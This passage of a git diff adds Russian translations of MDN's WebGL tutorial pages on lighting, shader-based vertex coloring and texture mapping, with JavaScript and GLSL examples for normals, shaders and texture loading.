+<p>Использование элемента <code>&lt;canvas&gt;</code>  - это не сложно, но вы должны понимать основы <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> и <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. <code>&lt;canvas&gt;</code> и WebGL не поддерживаются в некоторых старых браузерах, но поддерживаются в последних версиях всех основных. Чтобы рисовать графику на canvas нужно использовать объекты контекста JavaScript, который создает графику на лету.</p>
+
+<h2 id="В_этом_руководстве">В этом руководстве</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">Начало работы с WebGL</a></dt>
+ <dd>Как настроить WebGL контекст.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context">Добавление 2D контекста в WebGL контекст</a></dt>
+ <dd>Как визуализировать простые плоские фигуры используя WebGL.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL">Использование шейдеров для добавления цвета в WebGL</a></dt>
+ <dd>Демонстрация того, как добавить цвет фигурам используя шейдеры.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL">Анимирование объектов с WebGL</a></dt>
+ <dd>Как поворачивать и передвигать объекты для создания простых анимаций.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL">Создание 3D объектов с WebGL</a></dt>
+ <dd>Как создать и анимировать 3D объект (куб).</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">Использование текстур в WebGL</a></dt>
+ <dd>Как перевести текстуру на поверхность объекта.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL">Освещение объектов в WebGL</a></dt>
+ <dd>Как симулировать эффект света в контексте WebGL.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL">Анимирование текстур в WebGL</a></dt>
+ <dd>Как анимировать текстуры; здесь путем отображения Ogg видео на поверхность вращающегося куба.</dd>
+</dl>
diff --git a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
new file mode 100644
index 0000000000..57c1b21e35
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
@@ -0,0 +1,225 @@
+---
+title: Lighting in WebGL
+slug: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}</p>
+
+<p>Вам уже должно быть понятно,что у WebGL нет много "встроенного знания". Он просто выполняет две функции, которые вы написали - вершинный шейдер и фрагментный шейдер, а функции, которые рисуют сцену должны написать вы сами. Другими словами, если вы хотите добавить освещение, то вы должны рассчитать его самостоятельно. К счастью, сделать это не сложно. В этой статье мы опишем некоторые основы.</p>
+
+<h2 id="Симуляция_освещения_и_затенения_в_3D">Симуляция освещения и затенения в  3D</h2>
+
+<p>Хотя детали теории, лежащей в основе симуляции освещения в 3D-графике лежат далеко за пределами этой статьи, будет полезным немного узнать о том, как это работает. Посмотрите статью <a class="external" href="http://en.wikipedia.org/wiki/Phong_shading" title="http://en.wikipedia.org/wiki/Phong_shading">Затенение по Фонгу</a> в Википедии, чтобы получить хороший обзор наиболее часто используемых моделей освещения. А <a href="https://webglfundamentals.org/webgl/lessons/webgl-3d-lighting-point.html">в этой статье</a> вы можете посмотреть объяснение, основанное на WebGL.</p>
+
+<p>Существует три основных типа источников света:</p>
+
+<p><strong>Окружающий свет</strong> освещает всю сцену. Он не направленный и освещает все грани всех объектов одинаково, не зависимо от ориентации граней.</p>
+
+<p><strong>Направленный свет</strong> исходит из определенного направления. Этот свет приходит от настолько удаленного источника, что все фотоны летят параллельно друг другу. К примеру, солнечный свет можно считать.</p>
+
+<p><strong>Точечный свет</strong> исходит из одной точки во всех направлениях. В реальном мире многие источники освещения являются точечными, например электрическая лампочка.</p>
+
+<p>В этой статье мы упростим модель освещения и будем использовать только простой направленный и окружающий свет. Мы не будем создавать блики на поверхности объектов ({{interwiki("wikipedia", "specular highlights")}}) и точечные источники света. Вместо этого мы добавим окружающий свет и направленный свет в сцену с вращающимся кубом из <a href="/ru/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">предыдущего примера</a>.</p>
+
+<p>Если оставить в стороне блики и точечные источники света, то останутся два пункта, которые нужно изучить по порядку:</p>
+
+<ol>
+ <li>Мы должны привязать <strong>нормаль поверхности</strong> к каждой вершине. Это вектор, который направлен перпендикулярно грани в данной вершине.</li>
+ <li>Нам нужно знать направление, в котором распространяется свет. Оно определяется <strong>вектором направления</strong>.</li>
+</ol>
+
+<p>Затем мы обновим вершинный шейдер, чтобы скорректировать цвет каждой вершины в зависимости от окружающего и направленного освещения с учетом угла падения на грань. Мы увидим, как это делается, когда посмотрим на код шейдера.</p>
+
+<h2 id="Построение_нормали_для_вершин">Построение нормали для вершин</h2>
+
+<p>Сначала нам нужно создать массив нормалей для всех вершин, из которых состоит наш куб. Это будет просто, потому что куб очень простой объект. Очевидно, что для более сложных объектов расчет нормалей будет более затратным.</p>
+
+<pre class="brush: js">  const normalBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, normalBuffer);
+
+  const vertexNormals = [
+    // Front
+     0.0,  0.0,  1.0,
+     0.0,  0.0,  1.0,
+     0.0,  0.0,  1.0,
+     0.0,  0.0,  1.0,
+
+    // Back
+     0.0,  0.0, -1.0,
+     0.0,  0.0, -1.0,
+     0.0,  0.0, -1.0,
+     0.0,  0.0, -1.0,
+
+    // Top
+     0.0,  1.0,  0.0,
+     0.0,  1.0,  0.0,
+     0.0,  1.0,  0.0,
+     0.0,  1.0,  0.0,
+
+    // Bottom
+     0.0, -1.0,  0.0,
+     0.0, -1.0,  0.0,
+     0.0, -1.0,  0.0,
+     0.0, -1.0,  0.0,
+
+    // Right
+     1.0,  0.0,  0.0,
+     1.0,  0.0,  0.0,
+     1.0,  0.0,  0.0,
+     1.0,  0.0,  0.0,
+
+    // Left
+    -1.0,  0.0,  0.0,
+    -1.0,  0.0,  0.0,
+    -1.0,  0.0,  0.0,
+    -1.0,  0.0,  0.0
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertexNormals),
+                gl.STATIC_DRAW);
+
+...
+
+  return {
+    position: positionBuffer,
+    normal: normalBuffer,
+    textureCoord: textureCoordBuffer,
+    indices: indexBuffer,
+  };
+
+</pre>
+
+<p>Код уже должен выглядеть узнаваемо. Мы создаем новый буфер, связываем его с рабочим буфером и записываем в него массив нормалей к вершинам при помощи <code>bufferData()</code>.</p>
+
+<p>Затем добавим в <code>drawScene()</code> код, который свяжет массив нормалей с атрибутом шейдера. Таким образом шейдер сможет получить к нему доступ:</p>
+
+<pre class="brush: js">  // Указываем WebGL как извлекать нормали из
+  // буфера нормалей в атрибут vertexNormal.
+  {
+    const numComponents = 3;
+    const type = gl.FLOAT;
+    const normalize = false;
+    const stride = 0;
+    const offset = 0;
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.normal);
+    gl.vertexAttribPointer(
+        programInfo.attribLocations.vertexNormal,
+        numComponents,
+        type,
+        normalize,
+        stride,
+        offset);
+    gl.enableVertexAttribArray(
+        programInfo.attribLocations.vertexNormal);
+  }
+</pre>
+
+<p>В конце нужно обновить код, который строит матрицы для uniform-переменных, чтобы создать и передать в шейдер <strong>матрицу нормалей</strong>, которая используется для трансформации нормалей при расчете ориентации куба относительно направления на источник света:</p>
+
+<pre class="brush: js">  const normalMatrix = mat4.create();
+  mat4.invert(normalMatrix, modelViewMatrix);
+  mat4.transpose(normalMatrix, normalMatrix);
+
+...
+
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.normalMatrix,
+      false,
+      normalMatrix);
+</pre>
+
+<h2 id="Обновление_шейдеров">Обновление шейдеров</h2>
+
+<p>Теперь у нас есть все данные для шейдеров. Пора обновить код самих шейдеров.</p>
+
+<h3 id="Вершинный_шейдер">Вершинный шейдер</h3>
+
+<p>Сначала обновим вершинный шейдер, чтобы он рассчитывал значение освещения для каждой вершины на основе окружающего и направленного света. Посмотрим на код:</p>
+
+<pre class="brush: html">  const vsSource = `
+    attribute vec4 aVertexPosition;
+    attribute vec3 aVertexNormal;
+    attribute vec2 aTextureCoord;
+
+    uniform mat4 uNormalMatrix;
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    varying highp vec2 vTextureCoord;
+    varying highp vec3 vLighting;
+
+    void main(void) {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+      vTextureCoord = aTextureCoord;
+
+      // Применяем эффект освещения
+
+      highp vec3 ambientLight = vec3(0.3, 0.3, 0.3);
+      highp vec3 directionalLightColor = vec3(1, 1, 1);
+      highp vec3 directionalVector = normalize(vec3(0.85, 0.8, 0.75));
+
+      highp vec4 transformedNormal = uNormalMatrix * vec4(aVertexNormal, 1.0);
+
+      highp float directional = max(dot(transformedNormal.xyz, directionalVector), 0.0);
+      vLighting = ambientLight + (directionalLightColor * directional);
+    }
+  `;
+</pre>
+
+<p>После расчета позиции вершины мы передаем координаты текселя ({{Glossary("texel")}}), соответствующего вершине, во фрагментный шейдер, и начинаем расчет освещения вершины.</p>
+
+<p>Сначала нужно преобразовать нормаль, основываясь на текущей ориентации куба - умножив нормаль вершины на матрицу нормалей. Затем мы можем рассчитать количество света от направленного источника, которое приходит в вершину, посчитав скалярное произведение преобразованной нормали и вектора направления (направления, с которого приходит свет). Если скалярное произведение меньше нуля, то мы принимаем его за ноль, потому что количество света не может быть меньше 0.</p>
+
+<p>После расчета количества падающего направленного света мы можем посчитать финальное освещение, сложив окружающий свет и произведение количества направленного света на его цвет. В результате получается значение RGB, которое используется фрагментным шейдером для изменения цвета каждого пикселя.</p>
+
+<h3 id="Фрагментный_шейдер">Фрагментный шейдер</h3>
+
+<p>Фрагментный шейдер должен быть обновлен таким образом, чтобы он учитывал в значение освещения, рассчитанное в вершинном шейдере:</p>
+
+<pre class="brush: js">  const fsSource = `
+    varying highp vec2 vTextureCoord;
+    varying highp vec3 vLighting;
+
+    uniform sampler2D uSampler;
+
+    void main(void) {
+      highp vec4 texelColor = texture2D(uSampler, vTextureCoord);
+
+      gl_FragColor = vec4(texelColor.rgb * vLighting, texelColor.a);
+    }
+  `;
+</pre>
+
+<p>Здесь мы получаем цвет текселя, как и в предыдущем примере, но перед тем, как установить цвет фрагмента, мы умножаем цвет текселя на значение освещения, чтобы учесть влияние источников света.</p>
+
+<p>Осталось только посмотреть на определение атрибута <code>aVertexNormal</code> и uniform-переменной <code>uNormalMatrix</code>.</p>
+
+<pre class="brush: js">  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+      vertexNormal: gl.getAttribLocation(shaderProgram, 'aVertexNormal'),
+      textureCoord: gl.getAttribLocation(shaderProgram, 'aTextureCoord'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+      normalMatrix: gl.getUniformLocation(shaderProgram, 'uNormalMatrix'),
+      uSampler: gl.getUniformLocation(shaderProgram, 'uSampler'),
+    },
+  };
+</pre>
+
+<p>И это всё!</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample7/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample7">Посмотреть код примера полностью</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample7/">Открыть демо в новом окне</a></p>
+
+<h2 id="Самостоятельные_упражнения">Самостоятельные упражнения</h2>
+
+<p>Очевидно, что это простой пример, показывающий базовое вершинное освещение. В более продвинутой графике вам наверняка захочется сделать попиксельное освещение.</p>
+
+<p>Также вы можете поэкспериментировать с направлением на источник света, цветами окружающего и направленного света, и т. д.</p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}</p>
diff --git a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
new file mode 100644
index 0000000000..74299aa620
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
@@ -0,0 +1,95 @@
+---
+title: Использование шейдеров для задания цвета в WebGL
+slug: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
+
+<p>В <a href="/ru/docs/Web/WebGL/Adding_2D_content_to_a_WebGL_context" title="en/WebGL/Adding 2D content to a WebGL context">предыдущей статье</a> мы создали квадрат, следующим шагом будет добавление ему цвета. Мы можем сделать это, используя шейдеры.</p>
+
+<h2 id="Задание_цвета_вершинам">Задание цвета вершинам</h2>
+
+<p>В GL, объекты строятся с использованием наборов вершин, для каждой из которых задается положение в пространстве и цвет. По умолчанию, цвета всех остальных пикселей (и все их другие атрибуты, включая положение в пространстве) вычисляются с использованием линейной интерполяции, автоматически создавая плавный градиент. В прошлый раз наш вершинный шейдер не задавал определенных цветов вершинам, а фрагментный шейдер назначил фиксированный белый цвет каждому пикселю, поэтому квадрат целиком был отрисован белым цветом.</p>
+
+<p>Предположим, что мы хотим отрисовать градиент, в котором каждый угол квадрата разного цвета: красного, синего, зеленого и белый. Первое, что необходимо сделать - назначить эти цвета четырем вершинам. Чтобы сделать это, нам сначала необходимо создать массив цветов вершин, а затем сохранить его в WebGL буфер. Мы сделаем это, добавив следующий код в нашу функцию <code>initBuffers()</code>:</p>
+
+<pre class="brush: js">  var colors = [
+    1.0,  1.0,  1.0,  1.0,    // белый
+    1.0,  0.0,  0.0,  1.0,    // красный
+    0.0,  1.0,  0.0,  1.0,    // зеленый
+    0.0,  0.0,  1.0,  1.0     // синий
+  ];
+
+  squareVerticesColorBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+}
+</pre>
+
+<p>Этот код начинается с создания JavaScript массива, содержащего четыре вектора, содержащих по четыре значения каждый - по одному вектору для задания цвета каждой вершине. Затем новый WebGL буфер выделяет место в памяти для хранения этих цветов и массив приводится к вещественному формату WebGL и сохраняется в буфер.</p>
+
+<p>Чтобы теперь использовать эти цвета, вершинному шейдеру необходимо обновиться, поместив соответствующий цвет из буфера цвета:</p>
+
+<pre class="brush: html">    &lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+      attribute vec3 aVertexPosition;
+      attribute vec4 aVertexColor;
+
+      uniform mat4 uMVMatrix;
+      uniform mat4 uPMatrix;
+
+      varying lowp vec4 vColor;
+
+      void main(void) {
+        gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+        vColor = aVertexColor;
+      }
+    &lt;/script&gt;
+</pre>
+
+<p>Ключевым отличием здесь является то, что для каждой вершины, мы задаем цвет на соответствующее значение из массива цвета.</p>
+
+<h2 id="Окраска_фрагментов">Окраска фрагментов</h2>
+
+<p>Чтобы напомнить, как фрагментный шейдер выглядел ранее, ниже приведен его код:</p>
+
+<pre class="brush: html">    &lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+      void main(void) {
+        gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+      }
+    &lt;/script&gt;
+</pre>
+
+<p>Для того, чтобы подобрать интерполируемый цвет каждому пикселю, нам просто необходимо изменить его, получив значение из переменной <code>vColor</code>:</p>
+
+<pre class="brush: html">    &lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+    	varying lowp vec4 vColor;
+
+      void main(void) {
+        gl_FragColor = vColor;
+      }
+    &lt;/script&gt;
+</pre>
+
+<p>Это простое изменение, но с помощью него каждый фрагмент вместо фиксированного значения получает значение интерполируемого цвета на основе его расположения относительно вершин.</p>
+
+<h2 id="Отрисовка_с_использованием_цветов">Отрисовка с использованием цветов</h2>
+
+<p>Далее, необходимо добавить код в процедуру <code>initShaders()</code> для задания значений атрибута цвета для шейдерной программы:</p>
+
+<pre class="brush: js">  vertexColorAttribute = gl.getAttribLocation(shaderProgram, "aVertexColor");
+  gl.enableVertexAttribArray(vertexColorAttribute);
+</pre>
+
+<p>Затем, drawScene() может быть исправлен на фактическое использование этих цветов при отрисовке квадрата:</p>
+
+<pre class="brush: js">  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+  gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0);
+</pre>
+
+<p>На этом этапе, вы можете посмотреть <a href="/samples/webgl/sample3/index.html" title="https://developer.mozilla.org/samples/webgl/sample3/index.html">результат работы написанного кода</a>, если используете браузер, поддерживающий WebGL. Вы увидете нечто похожее на следующий рисунок (расположенный по центру в большом черном поле):</p>
+
+<p><img alt="screenshot.png" class="default internal" src="/@api/deki/files/4081/=screenshot.png"></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
diff --git a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
new file mode 100644
index 0000000000..adbc0ff443
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
@@ -0,0 +1,277 @@
+---
+title: Using textures in WebGL
+slug: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
+
+<p>Сейчас наша программа рисует вращающийся объемный куб - давайте натянем на него текстуру вместо заливки граней одним цветом.</p>
+
+<h2 id="Загрузка_текстур">Загрузка текстур</h2>
+
+<p>Сначала нужно добавить код для загрузки текстур. В нашем случае мы будем использовать одну текстуру, натянутую на все шесть граней вращающегося куба, но этот подход может быть использован для загрузки любого количества текстур.</p>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание:</strong> Важно помнить, что загрузка текстур следует <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS">правилам кросс-доменности</a>, что означает, что вы можете загружать текстуры только с сайтов, для которых ваш контент является CORS доверенным. См. подробности в секции "Кросс-доменные текстуры" ниже.</p>
+</div>
+
+<p>Код для загрузки текстур выглядит так::</p>
+
+<pre><code>//
+// Инициализация текстуры и загрузка изображения.
+// Когда загрузка изображения завершена - копируем его в текстуру.
+//
+function loadTexture(gl, url) {
+  const texture = gl.createTexture();
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+  // Так как изображение будет загружено из интернета,
+  // может потребоваться время для полной загрузки.
+  // Поэтому сначала мы </code>помещаем <code>в текстуру единственный пиксель, чтобы
+  // её можно было использовать сразу. После завершения загрузки
+  // изображения мы обновим текстуру.
+  const level = 0;
+  const internalFormat = gl.RGBA;
+  const width = 1;
+  const height = 1;
+  const border = 0;
+  const srcFormat = gl.RGBA;
+  const srcType = gl.UNSIGNED_BYTE;
+  const pixel = new Uint8Array([0, 0, 255, 255]);  // непрозрачный синий
+  gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
+                width, height, border, srcFormat, srcType,
+                pixel);
+
+  const image = new Image();
+  image.onload = function() {
+    gl.bindTexture(gl.TEXTURE_2D, texture);
+    gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
+                  srcFormat, srcType, image);
+
+    // У WebGL1 иные требования к изображениям, имеющим размер степени 2,
+    // и к не имеющим размер степени 2, поэтому проверяем, что изображение
+    // имеет размер степени 2 в обеих измерениях.
+    if (isPowerOf2(image.width) &amp;&amp; isPowerOf2(image.height)) {
+       // Размер соответствует степени 2. Создаем MIP'ы.
+       gl.generateMipmap(gl.TEXTURE_2D);
+    } else {
+       // Размер не соответствует степени 2.
+       // Отключаем MIP'ы и устанавливаем натяжение по краям
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+    }
+  };
+  image.src = url;
+
+  return texture;
+}
+
+function isPowerOf2(value) {
+  return (value &amp; (value - 1)) == 0;
+}</code></pre>
+
+<p>Функция <code>loadTexture()</code> начинается с создания объекта WebGL <code>texture</code> вызовом функции {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Сначала функция создает текстуру из единственного голубого пикселя, используя {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Таким образом текстура может быть использована сразу (как сплошной голубой цвет) при том, что загрузка изображения может занять некоторое время.</p>
+
+<p>Чтобы загрузить текстуру из файла изображения, функция создает объект <code>Image</code> и присваивает атрибуту <code>src</code> адрес, с которого мы хотим загрузить текстуру. Функция, которую мы назначили на событие <code>image.onload</code>,будет вызвана после завершения загрузки изображения. В этот момент мы вызываем {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, используя загруженное изображение как исходник для текстуры. Затем мы устанавливаем фильтрацию и натяжение, исходя из того, является ли размер изображения степенью 2 или нет.</p>
+
+<p>В WebGL1 изображения размера, не являющегося степенью 2, могут использовать только <code>NEAREST</code> или <code>LINEAR</code> фильтрацию, и для них нельзя создать mipmap. Также для таких изображений мы должны установить натяжение <code>CLAMP_TO_EDGE</code>. С другой стороны, если изображение имеет размер степени 2 по обеим осям, WebGL может производить более качественную фильтрацию, использовать mipmap и режимы натяжения <code>REPEAT</code> или <code>MIRRORED_REPEAT</code>.</p>
+
+<p>Примером повторяющейся текстуры является изображение нескольких кирпичей, которое размножается для покрытия поверхности и создания изображения кирпичной стены.</p>
+
+<p>Мипмаппинг и UV-повторение могут быть отключены с помощью {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Так вы сможете использовать текстуры с размером, не являющимся степенью 2 (NPOT - non-power-of-two), ценой отключения мипмаппинга, UV-натяжения, UV-повторения, и вам самому придется контролировать, как именно устройство будет обрабатывать текстуру.</p>
+
+<pre><code>// также разрешено gl.NEAREST вместо gl.LINEAR, но не mipmap.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+// Не допускаем повторения по s-координате.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+// Не допускаем повторения по t-координате.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);</code></pre>
+
+<p>Повторим, что с этими параметрами совместимые WebGL устройства будут допускать использование текстур с любым разрешением (вплоть до максимального). Без подобной настройки WebGL потерпит неудачу при загрузке NPOT-текстур, и вернёт прозрачный черный цвет <code>rgba(0,0,0,0)</code>.</p>
+
+<p>Для загрузки изображения добавим вызов <code>loadTexture()</code> в функцию <code>main()</code>. Код можно разместить после вызова <code>initBuffers(gl)</code>.</p>
+
+<pre><code>// Загрузка текстуры
+const texture = loadTexture(gl, 'cubetexture.png');</code></pre>
+
+<h2 id="Отображение_текстуры_на_гранях">Отображение текстуры на гранях</h2>
+
+<p>Сейчас текстура загружена и готова к использованию. Но сначала мы должны установить соответствие между координатами текстуры и гранями нашего куба. Нужно заменить весь предыдущий код, который устанавливал цвета граней в <code>initBuffers()</code>.</p>
+
+<pre><code>  const textureCoordBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, textureCoordBuffer);
+
+  const textureCoordinates = [
+    // Front
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Back
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Top
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Bottom
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Right
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Left
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(textureCoordinates),
+                gl.STATIC_DRAW);
+
+...
+  return {
+    position: positionBuffer,
+    textureCoord: textureCoordBuffer,
+    indices: indexBuffer,
+  };</code></pre>
+
+<p>Сначала мы создаем WebGL буфер, в котором сохраняем координаты текстуры для каждой грани, затем связываем его с массивом, в который будем записывать значения.</p>
+
+<p>Массив <code>textureCoordinates</code> определяет координаты текстуры, соответствующие каждой вершине каждой грани. Заметьте, что координаты текстуры лежат в промежутке между 0.0 и 1.0. Размерность текстуры нормализуется в пределах между 0.0 и 1.0, независимо от реального размера изображения.</p>
+
+<p>После опредения массива координат текстуры, мы копируем его в буфер, и теперь WebGL имеет данные для отрисовки.</p>
+
+<h2 id="Обновление_шейдеров">Обновление шейдеров</h2>
+
+<p>Мы должны обновить шейдерную программу, чтобы она использовала текстуру, а не цвета.</p>
+
+<h3 id="Вершинный_шейдер">Вершинный шейдер</h3>
+
+<p>Заменяем вершинный шейдер, чтобы он получал координаты текстуры вместо цвета.</p>
+
+<pre><code>  const vsSource = `
+    attribute vec4 aVertexPosition;
+    attribute vec2 aTextureCoord;
+
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    varying highp vec2 vTextureCoord;
+
+    void main(void) {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+      vTextureCoord = aTextureCoord;
+    }
+  `;</code></pre>
+
+<p>Ключевое изменение в том, что вместо получения цвета вершины, мы получаем координаты текстуры и передаем их в вершинный шейдер, сообщая положение точки внутри текстуры, которая соответствует вершине.</p>
+
+<h3 id="Фрагментный_шейдер">Фрагментный шейдер</h3>
+
+<p>Также нужно обновить фрагментный шейдер:</p>
+
+<pre><code>  const fsSource = `
+    varying highp vec2 vTextureCoord;
+
+    uniform sampler2D uSampler;
+
+    void main(void) {
+      gl_FragColor = texture2D(uSampler, vTextureCoord);
+    }
+  `;</code></pre>
+
+<p>Вместо задания цветового значения цвету фрагмента, цвет фрагмента рассчитывается из <strong>текселя</strong> (пикселя внутри текстуры), основываясь на значении <code>vTextureCoord</code>, которое интерполируется между вершинами (как ранее интерполировалось значение цвета).</p>
+
+<h3 id="Атрибуты_и_uniform-переменные">Атрибуты и uniform-переменные</h3>
+
+<p>Так как мы изменили атрибуты и добавили uniform-переменные, нам нужно получить их расположение</p>
+
+<pre><code>  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+      textureCoord: gl.getAttribLocation(shaderProgram, 'aTextureCoord'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+      uSampler: gl.getUniformLocation(shaderProgram, 'uSampler'),
+    },
+  };</code></pre>
+
+<h2 id="Рисование_текстурированного_куба">Рисование текстурированного куба</h2>
+
+<p>Сделаем несколько простых изменений в функции <code>drawScene()</code>.</p>
+
+<p>Во-первых, удаляем код, который определял цветовые буферы, и заменяем его на:</p>
+
+<pre><code>// Указываем WebGL, как извлечь текстурные координаты из буффера
+{
+    const num = 2; // каждая координата состоит из 2 значений
+    const type = gl.FLOAT; // данные в буфере имеют тип 32 bit float
+    const normalize = false; // не нормализуем
+    const stride = 0; // сколько байт между одним набором данных и следующим
+    const offset = 0; // стартовая позиция в байтах внутри набора данных
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.textureCoord);
+    gl.vertexAttribPointer(programInfo.attribLocations.textureCoord, num, type, normalize, stride, offset);
+    gl.enableVertexAttribArray(programInfo.attribLocations.textureCoord);
+}</code></pre>
+
+<p>Затем добавляем код, который отображает текстуру на гранях, прямо перед отрисовкой:</p>
+
+<pre><code>  // Указываем WebGL, что мы используем текстурный регистр 0
+  gl.activeTexture(gl.TEXTURE0);
+
+  // Связываем текстуру с регистром 0
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+  // Указываем шейдеру, что мы связали текстуру с текстурным регистром 0
+  gl.uniform1i(programInfo.uniformLocations.uSampler, 0);</code></pre>
+
